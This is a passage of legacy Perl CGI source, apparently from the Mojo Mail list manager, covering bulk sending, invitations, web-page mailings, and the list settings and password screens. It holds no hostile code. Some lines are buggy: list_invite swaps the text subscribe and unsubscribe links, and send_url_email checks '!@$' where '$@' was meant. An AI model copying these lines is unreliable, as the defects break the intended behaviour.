	    $text_message_body =~ s/\[list_subscribe_link\]/$text_subscribe_link/g; 
		
		

	}elsif($email_format eq 'HTML'){ 
	
	# its HTML!

		$content_type = 'text/html';
		$html_message_body = $html_message_body;
		undef($text_message_body);
		$html_message_body =~ s/\[list_unsubscribe_link\]/<p>$html_unsubscribe_link/g; 
	    $html_message_body =~ s/\[list_subscribe_link\]/<p>$html_subscribe_link/g; 
		

	}elsif($email_format eq 'HTML_and_text'){
    # make two versions of the message, the other one being converted html to text
    

		$content_type = 'multipart/alternative';
		$html_message_body = $html_message_body; 
	    $html_message_body =~ s/\[list_unsubscribe_link\]/<p>$html_unsubscribe_link/g; 
	    $html_message_body =~ s/\[list_subscribe_link\]/<p>$html_subscribe_link/g; 
		
	    
	    $text_message_body =  convert_to_ascii($text_message_body); 
	    $text_message_body =~ s/\[list_unsubscribe_link\]/$text_unsubscribe_link/g; 
	    $text_message_body =~ s/\[list_subscribe_link\]/$text_subscribe_link/g; 
		
		
	}
}

if($html_message_body){ 
	if($q->param('apply_template') == 1){ 
		
		$html_archive_message_body = $html_message_body;
		$html_message_body = (the_html(-Part => "header",
               						   -Title => $message_subject, 
               						   -List  => $list))            . 
               						   
       						 $html_message_body                     .       						   
               
							the_html(-Part => "footer",
									 -List => $list);                   
	}
}



my $msg; 

if($text_message_body and $html_message_body){ 	 

# if we have text and html, we need to make a multipart/alternative message, 
	 $msg = MIME::Lite->new(Type => 'multipart/alternative');
	 $msg->attach(Type     => 'TEXT',                       
	              Data     => $text_message_body, 
	              Encoding => $PLAIN_TEXT_ENCODING);
     $msg -> attach(Type => 'text/html',                       
	                Data => $html_message_body);
	        
}elsif($text_message_body){

if(!$q->param('attachment_1')){
# make only a text body
	 $msg = MIME::Lite->new(Type     => 'TEXT',
							Data     => $text_message_body,
							Encoding => $PLAIN_TEXT_ENCODING
							);
	}else{ 
	 $msg = MIME::Lite->new(Type    => 'TEXT',
							Data    => $text_message_body);	
	
	}
}elsif($html_message_body){ 
# make only a html body 
	 
	 $msg = MIME::Lite->new(Type    => 'text/html',
	                 		Data    => $html_message_body);

}else{
# else, we probably have an email with only attachments. 
	 $msg = MIME::Lite->new(Type    =>'multipart/mixed');
}

my $attach_report;

#if we have attachments... 
my @attachments; 

if($attachment){

my $ii; 
$attach_report = "<p><b>Attachments:</b><br>";


# for those attachments
for($ii = 1; $ii <= $at_num; $ii++){
 my $a_type; 
 my $this_attachment = "attachment_$ii";
 

 # get it by garment,
  my $get_attachment = $q->param($this_attachment);


if($get_attachment){

  my $attach_name = $get_attachment; 
     $attach_name  =~ s!^.*(\\|\/)!!;

	my $file_ending = $attach_name; 
       $file_ending =~ s/.*\.//;

# figure out MIME type
if(exists($MIME_TYPES{"\.$file_ending"})) {  
	$a_type = $MIME_TYPES{"\.$file_ending"};
}else{ 
	$a_type = $DEFAULT_MIME_TYPE; 
}
 
# two versions to upload files, 
# one is upload -> save -> attach
if($ATTACHMENT_TEMPFILE == 1){ 
 
my $attachment_file = file_upload($this_attachment); 

 $msg->attach(
        Type        =>  $a_type,
        Path        =>  $attachment_file,
        Filename    =>  $attach_name,
        Disposition => 'attachment',
      );

}else{ 

 #the other is 'magically' save.
 
     $msg->attach(
        Type     =>   $a_type,
        FH       =>   $get_attachment,
        Filename =>   $attach_name,
     );
}



 
$attach_report .= "$attach_name<br>";
#save name fer later. 
push(@attachments, $attach_name); 


      
}
}

$attach_report .= "</p>";

}

# get the header, 
my $header_glob    = $msg -> header_as_string(); 

# get the body
my $message_string = $msg->body_as_string();

my $archive_m = $q->param('archive_message') || $list_info{archive_messages} || 0;

# pull in the MOJO::Mail mod
require MOJO::Mail; 
my $mh      = MOJO::Mail->new(\%list_info);

# translate the glob into a hash
my %headers = $mh->return_headers($header_glob);

# make a mailing
my %mailing = (%headers,
			   To        =>  "\"$list_info{list_name}\" <$list_info{mojo_email}>", 
			   Subject   =>  $message_subject,       		
			   'List-ID' =>  $message_id, 
			   Body      =>  $message_string,
			   ); 
  
$mailing{From} 	  	     = $q->param('From')        if($q->param('From'));
$mailing{'Errors-To'}    = $q->param('Errors_To')   if($q->param('Errors_To'));
$mailing{'X-Priority'}   =  $q->param('Priority')   ||  $list_info{priority};
$mailing{Precedence}     =  $q->param('Precedence') ||  $list_info{precedence};


$mh->bulk_start_email($q->param('Start-Email'));
$mh->bulk_start_num($q->param('Start-Num'));

# we only want one, we'll take the second one. 
if($q->param('Start-Email') and $q->param('Start-Num')){ 
	$mh->bulk_start_email(undef);
} 

$mh->bulk_test(1) if($process =~ m/test/i); 

# send away
$mh->bulk_send(%mailing); 

 
# archive, if needed

{ 
    local $| = 0; 
	if(($archive_m != 0) && ($process !~ m/test/i)){
		require MOJO::Archive;
		my $archive = MOJO::Archive->new(-List => \%list_info);
		
		if($html_archive_message_body){ 
				$archive->set_archive_info($message_id, $message_subject, $html_archive_message_body, 'text/html'); 
		}elsif($html_message_body){
			$archive->set_archive_info($message_id, $message_subject, $html_message_body, 'text/html'); 
		}elsif($text_message_body){
			$archive->set_archive_info($message_id, $message_subject, $text_message_body, 'text/plain'); 
		}
		
	}
}

# report a good job done.
print(admin_html_header(      
      -Title   => "List Message is Being Sent", 
      -List    => $list_info{list},
      -Root_Login => $root_login 
)); 


if($process =~ m/test/i){ 
	print p("Your", b(i("test")), "message is being sent to the list owner,($list_info{mojo_email})");
}elsif(defined($q->param('Start-Email'))){ 
	print p("Your list mailing will be sent to all your list subscribers, starting at " . $q->param('Start-Email')); 
}elsif(defined($q->param('Start-Num'))){ 
	print p("Your list mailing will be sent to all your list subscribers, starting at # " . $q->param('Start-Num')); 
}else{
	print p("Your  message, <b>$message_subject</b>, is currently being sent to all your list subscribers");
}



print '<table width=100% cellpadding=1 cellspacing=0 bgcolor=#000000><tr><td>';
print '<table width=100% cellpadding=5 cellspacing=0 bgcolor=#FFFFFF><tr><td>';

print p(b("To:      $list_info{list_name}"), br(), 
        b("From:    $list_info{mojo_email}"),  br(),
        b("Subject: $message_subject"));
        
        
        
if($text_message_body){        

	print '<hr noshade size=1 width=66% color=black align=center>';
	
	my $screen_text_message = $text_message_body;
	$screen_text_message = webify_plain_text($screen_text_message);
	$screen_text_message =~ s/\[email\]/$list_info{mojo_email}/gi;
	my $lm_pin = make_pin(-Email => $list_info{mojo_email});
	$screen_text_message =~ s/\[pin\]/$lm_pin/gi;
	
	
	print p(b('Text Message:'), br(),
			  $screen_text_message);
}		  

if($html_message_body){

	print '<hr noshade size=1 width=66% color=black align=center>';
	my $screen_html_message = $html_message_body;
	$screen_html_message    =~ s/\[email\]/$list_info{mojo_email}/gi;
	my $html_lm_pin         = make_pin(-Email => $list_info{mojo_email});
	$screen_html_message    =~ s/\[pin\]/$html_lm_pin/gi;
	print p(b('HTML Message:'), br(), $screen_html_message); 

}


print $attach_report if(defined($attach_report));


print '</td></tr></table>';
print '</td></tr></table>';		  
 
print p(i('This message has been', a({-href=>"$MOJO_URL?flavor=view_archive&id=$message_id"}, 'archived'))) 
	if(($archive_m != 0) && ($process !~ m/test/i));

print(admin_html_footer(-List => $list));


		if($ATTACHMENT_TEMPFILE == 1){ 
			foreach(@attachments){ 
			# delete attachment files
			unlink("$FILES/$_");
			}
		}
	}
}





sub list_invite { 

my $root_login = check_list_security(-Admin_List      => $admin_list, 
                                     -Admin_Password  => $admin_password, 
                                     -IP_Address      => $ENV{REMOTE_ADDR},
                                     -Function        => 'list_invite');
$list = $admin_list; 
my %list_info =  open_database(-List => $list); 

my $lh = MOJO::List->new(-List => $list, -Path => $FILES); 

unless($process){ 
	# unless we have something to do, give them the  first screen:
	print(admin_html_header(-Title   => "Invitations", 
					        -List    => $list_info{list}, 
					        -Root_Login => $root_login));
	print p("Send an invitation email by pasting the addresses of people
			you want to invite to your list,  and then writing an invitation message. 
			Your invitation list will be cleaned of duplicate addresses, 
			people who are already subscribed to your list, invalid e-mail addresses 
			and any black listed addresses.");  
	
	print p(b("Your Invitation List:"), br(), 
		  textarea(-name  => 'new_emails',
				   -cols  => 50, 
				   -rows  => 5)),
						
		  hidden('flavor', 'list_invite');
	print '<hr noshade size=1 width=66% color=black align=center>'; 
	print p("You can send the invitation message in plain text, HTML, or both. 
			Type in your message in the appropriate text box, leaving either of them 
			blank if no mailing of that format is desired");  

  
  print p(b("Subject:"), br(),
		textfield(-name => 'message_subject',   
				  -size => 50, 
				  -value => "$list_info{list_name} Invitation")); 
  
  
	#Plain Text
	print p({-align=>'center'}, b("Text Message"), br(),
		   textarea(-name  => 'text_message_body',
					-value => $TEXT_INVITE_MESSAGE,
					-cols  => $cols,
					-rows  => $rows,
					-wrap  => $wrap,
					-style => $text_area_style)); 
			
	# HTML     
	print p({-align=>'center'}, b("HTML Message"), br(),
		   textarea(-name  => 'html_message_body',
					-value => $HTML_INVITE_MESSAGE,
					-cols  => $cols,
					-rows  => $rows,
					-wrap  => $wrap,
					 -style => $text_area_style));
print <<EOF
<table border=0>
 <tr>
  <td>
   <input type="submit" style='$STYLE{yellow_submit}'  name=process value="Send Test Message To Owner">  
  </td>
  <td> 
   <input type="submit" style='$STYLE{green_submit}'  name=process value="Send Invite Message"> 
  </td>
 </tr>
</table> 
EOF
;


print(admin_html_footer(-List => $list));
exit;




}else{ 

#######################################################################
#
#
#  The code below is very similar to the 'add_email()' function, please note. 
#  Later on, I may take the below code and create a function from it. 
#
#######################################################################


# q: what exactly are we doing here? 
# a: we're filtering out the emails given to the script
#    in various steps



my %seen;

# get the emails
my $new_emails = $q -> param("new_emails"); 

# split them into individual entities
my @new_addresses = split(/\s+|,|;|\n+/, $new_emails);
my @good_emails = (); 
my @bad_emails = (); 
my $invalid_email;
foreach my $check_this_address(@new_addresses) { 
   
# see they're valid    
my $pass_fail_address = check_for_valid_email($check_this_address); 
 
if ($pass_fail_address >=1){
    
      # save em if tey aint
      push(@bad_emails, $check_this_address);
      }else{    
   
      # save em if they are valid
   $check_this_address = lc_email($check_this_address); 
   push(@good_emails, $check_this_address);
   }
  }
  
# this filters through the emails and takes out al duplicates  
%seen = (); 
my @unique_good_emails = grep { ! $seen{$_}++} @good_emails; 
%seen = (); 
my @unique_bad_emails = grep { ! $seen{$_}++} @bad_emails; 

@unique_good_emails = sort(@unique_good_emails); 
@unique_bad_emails =sort(@unique_bad_emails); 


# this filters out emails addresses, taken them out of our list if they're already there

# figure out what unique emails we have from the new list when compared to the old list
my ($unique_ref, $not_unique_ref) = $lh->unique_and_duplicate(-New_List  => \@unique_good_emails, 
														     -List      => $list);



#initialize 
my @black_list; 
my $found_black_list_ref; 
my $clean_list_ref; 
my $black_listed_ref; 
my $black_list_ref;

if($list_info{black_list} eq "1"){ 
	#open the black list  
	$black_list_ref = $lh->open_email_list(-List => $list, -Type => "black_list", -As_Ref=>1);
	# now, from that new list of clean emails, see which ones are black listed 
	($found_black_list_ref) = $lh->get_black_list_match($black_list_ref, $unique_ref);
	#now, tell me which ones still are ok. 
	($clean_list_ref, $black_listed_ref) = $lh->find_unique_elements($unique_ref, $found_black_list_ref); 							  
}else{ 
	$clean_list_ref = $unique_ref; 
}



# add these to a special 'invitation' list. we'll clear this list later. 
my $new_email_count=$lh->add_to_email_list(-Email_Ref => $clean_list_ref,
                                      -List      => $list_info{list},
                                      -Type      => 'invitelist',
                                      -Mode      => 'writeover');
                                     
                                     

#####################################################################
# SUBJECT #
###########

# get the message subject
my $message_subject = $q -> param('message_subject');

#####################################################################
# TEXT #
########

# get the text message 
my $text_message_body    = $q -> param('text_message_body') || undef; 
 
# if text version was passed,  
 	if($text_message_body){
		# get rid of weird line breaks caused by textareas
		$text_message_body    =~ s/\r\n/\n/g;
    	# interpolate [tags] to $tags 
       $text_message_body = interpolate_string(-String => $text_message_body, -List_Db_Ref => \%list_info);    							                   							               							               
   }
   
   
#####################################################################
# HTML #
########
   
# get the HTML message (if any)   
my $html_message_body     = $q -> param('html_message_body') || undef; 

	if($html_message_body){
		# get rid of weird line breaks
		$html_message_body =~ s/\r\n/\n/g;
     # interpolate [pusedo tags]  
       $html_message_body = interpolate_string(-String => $html_message_body,-List_Db_Ref => \%list_info);
    }
	
	

my $s_link = subscribe_link(-list   => $list,
							-email  => '[email]', 
							-pin    => '[pin]');

my $us_link = unsubscribe_link(-list   => $list,
							   -email  => '[email]', 
						 	   -pin    => '[pin]');
							   
							   
# make unsub links
my $html_subscribe_link =    "<a href=\"$s_link\">$s_link</a>";
my $html_unsubscribe_link =  "<a href=\"$us_link\">$us_link</a>";


# make sub links
my $text_unsubscribe_link =  $s_link;
my $text_subscribe_link   =  $us_link;


	if(defined($text_message_body) ne ""){ 
      # interpolate the sub and unsub links
		$text_message_body =~ s/\[list_unsubscribe_link\]/$text_unsubscribe_link/g; 
	    $text_message_body =~ s/\[list_subscribe_link\]/$text_subscribe_link/g; 
	}
	
	if(defined($html_message_body) ne ""){ 
		# interpolate the sub and unsub links
	    $html_message_body =~ s/\[list_unsubscribe_link\]/$html_unsubscribe_link/g; 
	    $html_message_body =~ s/\[list_subscribe_link\]/$html_subscribe_link/g; 
	}
	
require MIME::Lite; 
MIME::Lite->quiet(1) if $MIME_HUSH == 1;       ### I know what I'm doing
$MIME::Lite::PARANOID = $MIME_PARANOID;
my $msg; 
if($text_message_body and $html_message_body){ 	 
	# if we have text and html, we need to make a multipart/alternative message, 
	 $msg = MIME::Lite->new(Type    =>  'multipart/alternative');  
     $msg -> attach(Type => 'TEXT', Data => $text_message_body);
     $msg -> attach(Type => 'text/html', Data => $html_message_body);  
}elsif($html_message_body){
	# make only a text body                       
	 $msg = MIME::Lite->new(Type    => 'text/html', Data    => $html_message_body);
}else{
	$msg = MIME::Lite->new(Type    => 'TEXT', Data    => $text_message_body);	                          	 
}


# get the header, 
my $header_glob    = $msg -> header_as_string(); 
# get the body
my $message_string = $msg -> body_as_string();

require MOJO::Mail; 
my $mh = MOJO::Mail->new(\%list_info); 
# translate the glob into a hash
my %headers = $mh        -> return_headers($header_glob);
# make a mailing
my %mailing = ( 
     %headers,  
     To                    =>    "\"$list_info{list_name}\" <$list_info{mojo_email}>", 
     From                  =>    $list_info{mojo_email}, 
     Subject               =>    $message_subject, 
     Body                  =>    $message_string); 
   
   
# just testing? 
$mh->list_type('invitelist');
$mh->bulk_test(1) if($process =~ m/test/i); 
$mh->bulk_send(%mailing);

print(admin_html_header(-Title   => "Invitations Sent", 
                        -List    => $list_info{list}, 
                        -Root_Login => $root_login));

$new_email_count = int($new_email_count) + 1;


if($process =~ m/test/i){ 
	print p("Your", b(i("test")), " invitation message is being sent to the list owner,
	        ($list_info{mojo_email})");
}else{
    
	print p("Your  invitation message, <b>$message_subject</b>, is currently being sent to $new_email_count people");
}

print '<table width=100% cellpadding=1 cellspacing=0 bgcolor=#000000><tr><td>';
print '<table width=100% cellpadding=5 cellspacing=0 bgcolor=#FFFFFF><tr><td>';

print p(b("To:      Invite List"), br(), 
        b("From:    $list_info{mojo_email}"),  br(),
        b("Subject: $message_subject"));
               
if($text_message_body){        
	print '<hr noshade size=1 width=66% color=black align=center>';
	my $screen_text_message = $text_message_body;
	$screen_text_message = webify_plain_text($screen_text_message);
	$screen_text_message =~ s/\[email\]/$list_info{mojo_email}/gi;
	my $lm_pin = make_pin(-Email => $list_info{mojo_email});
	$screen_text_message =~ s/\[pin\]/$lm_pin/gi;

	print p(b('Text Message:'), br(),$screen_text_message);
}		  

if($html_message_body){

	print '<hr noshade size=1 width=66% color=black align=center>';
	my $screen_html_message = $html_message_body;
	$screen_html_message =~ s/\[email\]/$list_info{mojo_email}/gi;
	my $html_lm_pin = make_pin(-Email => $list_info{mojo_email});
	$screen_html_message =~ s/\[pin\]/$html_lm_pin/gi;
    
    print p(b('HTML Message:'), br(),
			  $screen_html_message); 
}

print '</td></tr></table>';
print '</td></tr></table>';		  
print(admin_html_footer(-List => $list));
exit;

}
}




sub send_url_email { 

	my $root_login = check_list_security(-Admin_List => $admin_list, 
										 -Admin_Password  => $admin_password, 
										 -IP_Address      => $ENV{REMOTE_ADDR},
										 -Function        => 'send_url_email');
	
	$list = $admin_list; 
	my %list_info =  open_database(-List => $list); 
	
	if(!$process){ 
		print(admin_html_header(      
			  -Title   => "Send A Webpage", 
			  -List    => $list_info{list},
			  -Root_Login => $root_login));
		eval { require LWP::Simple };
		if($@){ 
			print p(b(i("Sorry, this feature is not available on this server. Ask your <a href=mailto:$ENV{SERVER_ADMIN}>server administrator</a> to install the 'LWP::Simple' Perl Module"))); 
		}else{ 
			print p('Send a web page to your subscribers. Enter the complete URL (including the http://) 
			        of the webpage you want to send out. It\'s well advised that you send a test message before 
			        committed on a real list sending.'),
				  
				  p(b('Message Subject:'), br(), 
				  textfield(-name  =>'message_subject',
							-value =>"$list_info{list_name} message",
							 -size  => 49)),		 

				  p(b('Web Page Address (URL):'), br(),
				  textfield(-name=>'url', size=>'65', -value=>'http://')), 
				  table(
				   Tr(td([
				   (p(checkbox(-checked=>'yes', -name=>'add_base_tag', -value=>'yes', -label=>''))), 
				   (p(b('add a &lt;base href&gt; tag to the webpage.'))), 
				   ])),  
				   Tr(td([  
				   (p('&nbsp;')), 
				  (p('The &lt;base&nbsp;href&gt; 
				  tag is used to keep images on a webpage from breaking
				  when being sent out as an email. If the webpage already
				   has a &lt;base&nbsp;href&gt; tag, uncheck this option')), 
				  ]))), 
				  hidden('flavor', 'send_url_email'), 
				  hr({-width=>'66%', -size=>1, -color=>'black'});
		print <<EOF
		<table align=right border=0>
		 <tr>
		  <td>
		   <input type="submit" style='$STYLE{yellow_submit}'  name=process value="Send Test Message To Owner">  
		  </td>
		  <td> 
		   <input type="submit" style='$STYLE{green_submit}'  name=process value="Send List Message"> 
		  </td>
		 </tr>
		</table> 
EOF
; 
		print(admin_html_footer(-List => $list));
		}
	}else{ 
		eval { require LWP::Simple };
		if(!@$){ 
			my $content = LWP::Simple::get($q->param('url'));
			require MIME::Lite;
			MIME::Lite->quiet(1) if $MIME_HUSH == 1;       ### I know what I'm doing
			$MIME::Lite::PARANOID = $MIME_PARANOID;
			my $base_url = $q->param('url');
			if($q->param('add_base_tag') eq 'yes'){$content = "<base href='$base_url'>\n$content";}
			
			my $s_link = subscribe_link(-list   => $list,
										-email  => '[email]', 
										-pin    => '[pin]');
			
			my $us_link = unsubscribe_link(-list   => $list,
										   -email  => '[email]', 
										   -pin    => '[pin]');
							   			
			my $html_subscribe_link =    "<a href=\"$s_link\">$s_link</a>";
			my $html_unsubscribe_link =  "<a href=\"$us_link\">$us_link</a>";


			my $template  = $list_info{mailing_list_message_html};
			   $template  =~ s/\[message_body\]/$content/g; 
			   $template =~ s/\[list_unsubscribe_link\]/$html_unsubscribe_link/g; 
	           $template =~ s/\[list_subscribe_link\]/$html_subscribe_link/g; 
	    	   $template = interpolate_string(-String=>$template, -List_Db_Ref=>\%list_info);

			my $msg = MIME::Lite->new(Type => 'text/html', Data => $template); 
			my $header_glob    = $msg->header_as_string(); 
			my $message_string = $msg->body_as_string(); 
			#make a unique id for the archive.
			my $message_id = message_id();
			
			# pull in the MOJO::Mail mod
			require MOJO::Mail;
			my $mh      = MOJO::Mail->new(\%list_info);
			my %headers = $mh       ->return_headers($header_glob);
			my %mailing = (%headers,
			  			   To        => "\"$list_info{list_name}\" <$list_info{mojo_email}>",
			               Subject   => $q->param('message_subject'),       
			              'List-ID'  => $message_id, 
			               Body      => $message_string,
			              );
			               
			 # just testing? 
			$mh->bulk_test(1) if($q->param('process') =~ m/test/i); 
			$mh->bulk_send(%mailing); 
			 
		    if(($list_info{archive_messages} ne "0") && ($q->param('process') !~ m/test/i)){ 
				require MOJO::Archive;
				my $archive = MOJO::Archive->new(-List => \%list_info);
				$archive->set_archive_info($message_id, $q->param('message_subject'), $message_string, 'text/html'); 
			}
			
			print(admin_html_header(-Title      => "List Message is Being Sent", 
			                        -List       => $list_info{list},
			                        -Root_Login => $root_login)); 
			
			if($process =~ m/test/i){ 
				print p("Your", b(i("test")), "message is being sent to the list owner,($list_info{mojo_email})");
			}else{
				print p("Your  message is currently being sent to all your list subscribers");
			}
			print p(i('This message has been', a({-href=>"$MOJO_URL?flavor=view_archive&id=$message_id"}, 'archived'))) if($list_info{archive_messages} ne "0" and $q->param('process') !~ m/test/i);
			print(admin_html_footer(-List => $list));
		}else{ 
			die "$PROGRAM_NAME $VER Error: $!\n";
		}
	}
}

sub change_info { 
    my ($errors, $flags) = @_;
	my $root_login = check_list_security(-Admin_List     => $admin_list, 
	                                     -Admin_Password => $admin_password,
	                                     -IP_Address      => $ENV{REMOTE_ADDR}, 
	                                     -Function       => 'change_info');
	
	unless (defined($process)){
		$list = $admin_list; 
		my %list_info = open_database(-List => $list); 
                              
		print(admin_html_header(-Title      => "Change List Information",
		                        -List       => $list_info{list},
		                        -Root_Login => $root_login));
		
		if(defined($errors) >= 1){ 
		my $ending = '';
		my $err_word = 'was';
			$ending = 's'      if $errors > 1; 
			$err_word = 'were' if $errors > 1; 

		print "<p style='color:red'><b><i>$errors field$ending  on this form  
      		   $err_word filled out incorrectly and need to be fixed for all new information to be saved.
      		   </i></b></p>";
}
		
		print $GOOD_JOB_MESSAGE if(defined($done)); 
		print hidden('flavor',    'change_info'),
			  hidden('list',      $list_info{list}),
			  hidden('process',  'true');
	   
	   
	   print  p('Your list\'s ', b('short name'), 'is:', b(i($list_info{list}))); 
	     
	     
	   print '<p class=smallred><i>You did not fill in a  list name</i></p>' 
	         if(defined($flags->{list_name}) == 1);
	   print  p('What is the name of your list?', 
			  br(),  
			  textfield(-name=>'list_name', -value=>$list_info{list_name}, -size=>30)); 
	   
	   print '<p class=smallred><i>You need to give a valid e-mail address for the list owner</i></p>' 
	         if(defined($flags->{invalid_mojo_email}) == 1);	
	   print  p('What  e-mail address corresponds to the list owner?
			  When e-mails are sent, they are sent using this address.', 
			  br(),  
			  textfield(-name=>'mojo_email', -value=>$list_info{mojo_email}, -size=>30)), 
			  p(i(b('optional')), 'What  e-mail address corresponds to the list administrator?,
			   All e-mail errors will be sent to this address, instead of the list owner. If left,
			   blank, this job will be left to the list owner, which might be just fine for you.', 
			  br(), 
			  textfield(-name=>'admin_email', -value => $list_info{admin_email}, -size=>30));
			  

		print '<p class=smallred><i>You need to give your list a description</i></p>' 
			  if(defined($flags->{list_info}) == 1);
			  
		print p("Description of $list_info{list_name}",
			  br(),
			  textarea(-name  => 'info',
					   -value => $list_info{info},
					   -cols => 33, 
					   -rows => 4, 
					   -wrap => 'VIRTUAL',)), 
			  p(i(b('optional')), 'Would you like to write a small privacy policy summary?
			  Some people don\'t subscribe to lists because they fear their e-mail addresses
			  will be used for spamming purposes.',
			  br(),
			  textarea(-name  => 'privacy_policy',
					   -value => $list_info{private_policy},
					   -cols => 33, 
					   -rows => 4, 
					   -wrap => 'VIRTUAL',));  
			  print submit_form();  
			  print(admin_html_footer(-List => $list));
	}else{ 
		my ($list_errors, $list_flags) = check_list_setup(-fields => {list            => $list, 
													            list_name       => $list_name, 
													 			mojo_email      => $mojo_email,
													   			admin_email     => $admin_email, 
													   			private_policy  => $privacy_policy,
													   			info		    => $info}, 
													  		 	-new_list       => 'no'); 
	if ($list_errors >= 1){ 
		undef $process;
		change_info($list_errors, $list_flags);
	}else{

		$admin_email = $mojo_email if ($admin_email eq ""); 
		
		my %new_info = (mojo_email      =>   $mojo_email,
						admin_email     =>   $admin_email, 
						list            =>   $list,
						list_name       =>   $list_name, 
						info            =>   $info, 
						private_policy  =>   $privacy_policy,
						privacy_policy  =>   $privacy_policy	
						);
		
		my $status = setup_list(\%new_info);
		user_error(-List => $list, -Error => "no_permissions_to_write") if $status == 0; 
		print $q -> redirect(-uri=>"$MOJO_URL?flavor=change_info&done=1"); 
		}
	}
}





sub change_password { 
# a few variables 

my $root_login = check_list_security(-Admin_List     => $admin_list, 
                                     -Admin_Password => $admin_password, 
                                     -IP_Address     => $ENV{REMOTE_ADDR},
                                     -Function       => 'change_password');

require MOJO::Password; 

$list = $admin_list; 
my %list_info =  open_database(-List => $list, 
                              
                               ); 
unless(defined($process)) { 

	print(admin_html_header(-Title      => "Change List Password", 
	                        -List       => $list_info{list},
	                        -Root_Login => $root_login)); 

    print p('After you have changed your password, you will need to log back into this list\'s 
    		control panel.');
    print hidden('flavor', 'change_password'), 
	      hidden('process', 'true'), 
	      hidden('list', $list); 
	      
	     if($root_login != 1){ 
	     	print p('Enter your old password:',br(), 
	        password_field('old_password'));
	     }
	     
	     
	      print p('Enter your new password:',br(), 
	         password_field('new_password')),   
	      p('Re-enter your new password:',br(), 
	         password_field('again_new_password')),     
	          
	      submit_form(-Submit=>'Change Password'), 

	(admin_html_footer(-List => $list));

}else{ 

	my $old_password           =   $q   ->    param('old_password'); 
	my $new_password           =   $q   ->    param('new_password'); 
	my $again_new_password     =   $q   ->    param('again_new_password'); 

	if($root_login != 1){ 
		#check if the old password checks out, if it doesn't, throw an error
		my $password_check = MOJO::Password::check_password($list_info{password},$old_password); 
		&user_error(-List => $list, -Error => "invalid_password") if ($password_check != 1); 
	}
	

	#check to see if the new password is the same when typed twice. 
	$new_password = strip($new_password);
	$again_new_password = strip($again_new_password);
	&user_error(-List => $list, -Error => "pass_no_match") if ($new_password ne $again_new_password) || ($new_password eq ""); 

	my $new_encrypt_pass = MOJO::Password::encrypt_passwd($new_password); 

	my %new_info = ( 
	 list       =>   $list, 
	 password   =>   $new_encrypt_pass
	);
	 

	my $status = setup_list(\%new_info);
	user_error(-List => $list, -Error => "no_permissions_to_write") if $status == 0; 
	print $q->redirect(-uri=>"$MOJO_URL?flavor=admin"); 


}
}



sub delete_list { 

my $root_login = check_list_security( 
-Admin_List      => $admin_list, 
-Admin_Password  => $admin_password,
-IP_Address      => $ENV{REMOTE_ADDR},
-Function       => 'delete_list'
);

 

my $list = $admin_list; 

my (%list_info) =  open_database(-List => $list, 
              
                               ); 


my $password_check = MOJO::Password::check_password($admin_password, $list_info{password}); 



unless (defined($process)){ 

print(admin_html_header(      
      -Title      => "Confirm Delete List", 
      -List       => $list_info{list},
      -Root_Login => $root_login 
));



print p("Are you sure you want to totally delete this list?"),
      p("<b>This will delete the list  and cannot be undone.</b>"),
      hidden('flavor',  'delete_list'), 
      hidden('process', 'true'); 
      
print "<input type='submit' style='$STYLE{red_submit}' value='Delete List'>";


print(admin_html_footer(-List => $list));


}else{

delete_email_list(    -List      => $list);
delete_list_info(     -List      => $list);
delete_list_archive(  -List      => $list); 
delete_list_template( -List      => $list); 


require MOJO::Log; 
my $log = new MOJO::Log; 
    $log->mj_log($list, 'List Removed', "remote_host:$ENV{REMOTE_HOST}, ip_address:$ENV{REMOTE_ADDR}") if $LOG{list_lives};

print header(); 

my %default_list; 
my ($default_exists) = check_if_list_exists(-List=>$DEFAULT_LIST,);
if($DEFAULT_LIST ne "" && $default_exists >= 1){ 
%default_list = open_database(-List =>$DEFAULT_LIST); 
}



print(the_html(

-Part  => "header",
-Title => "Deletion Successful",
-List  => $DEFAULT_LIST, 
));

print p("You have deleted the list.");
print p("<a href=$MOJO_URL>Return to the Mojo Mail main page.</a>");

print(the_html(
-Part => "footer",
 -List => $DEFAULT_LIST,
 -Site_Name => $default_list{website_name},
-Site_URL  => $default_list{website_url}, 

));
}
}




sub list_options { 

my $root_login = check_list_security( 
-Admin_List      => $admin_list, 
-Admin_Password  => $admin_password,
-IP_Address      => $ENV{REMOTE_ADDR},
-Function        => 'list_options'
);


#receive a few variables.. 
my $closed_list          =   $q->param("closed_list")         || 0; 
my $hide_list            =   $q->param("hide_list")           || 0;
my $get_sub_notice       =   $q->param("get_sub_notice")      || 0;  
my $get_unsub_notice     =   $q->param("get_unsub_notice")    || 0;  
my $no_confirm_email     =   $q->param("no_confirm_email")    || 0;  
my $unsub_confirm_email  =   $q->param("unsub_confirm_email") || 0;  
my $mx_check             =   $q->param("mx_check")            || 0;  


unless(defined($process)){ 

$list = $admin_list;
my %list_info = open_database(-List => $list, 
                         
                               ); 

print(admin_html_header(      
      -Title      => "Mailing List Options", 
      -List       => $list_info{list}, 
      -Root_Login => $root_login));
 
#good job!
print $GOOD_JOB_MESSAGE if(defined($done)); 
print "<table border=0 cellspacing=0>\n"; 

print "<tr>\n<td valign=top>"; 
print "<p><input type=checkbox name=hide_list value=1 "; print"checked" if($list_info{hide_list} eq "1"); print "></p>\n"; 
print "</td><td>"; 



print "<p><b><a href=javascript:checklink(0) class=black>Hide Your List</a></b><br>";



print "Your list information won't be provided on the $PROGRAM_NAME <a href=$MOJO_URL target=out>main screen</a> "; 
print "or anywhere else to subscribe to.";
print " People will still be able to subscribe/unsubscribe with the proper information"; 
print "</td></tr>";

print "<tr>\n<td valign=top>"; 
print "<input type=checkbox name=closed_list value=1 "; print"checked" if($list_info{closed_list} eq "1"); print ">\n"; 
print "</td><td>"; 



print "<p><b><a href=javascript:checklink(1) class=black>Close Your List</a></b><br>";
print "Do not allow people to subscribe to your list, e-mails can only be added to your list. ";
print "from the administration control panel."; 
print "People can still unsubscribe at any time"; 
print "</td></tr>"; 







print "<tr>\n<td valign=top>"; 
    


print "<input type=checkbox name=get_sub_notice value=1 "; print"checked" unless($list_info{get_sub_notice} eq "0"); print ">\n"; 



print "</td><td>"; 



print "<p><b><a href=javascript:checklink(2) class=black>Receive Subscription Notices</a></b><br>";
print "You can be notified every time someone subscribes to your list by e-mail"; 
print "</td></tr>"; 


print "<tr>\n<td valign=top>"; 


print "<input type=checkbox name=get_unsub_notice value=1 "; print"checked" unless($list_info{get_unsub_notice} eq "0"); print ">\n"; 



print "</td><td>"; 



print "<p><b><a href=javascript:checklink(3) class=black>Receive Unsubscription Notices</a></b><br>";
print "You can be notified every time someone unsubscribes to your list by e-mail"; 
print "</td></tr>"; 




print "<tr>\n<td valign=top>"; 
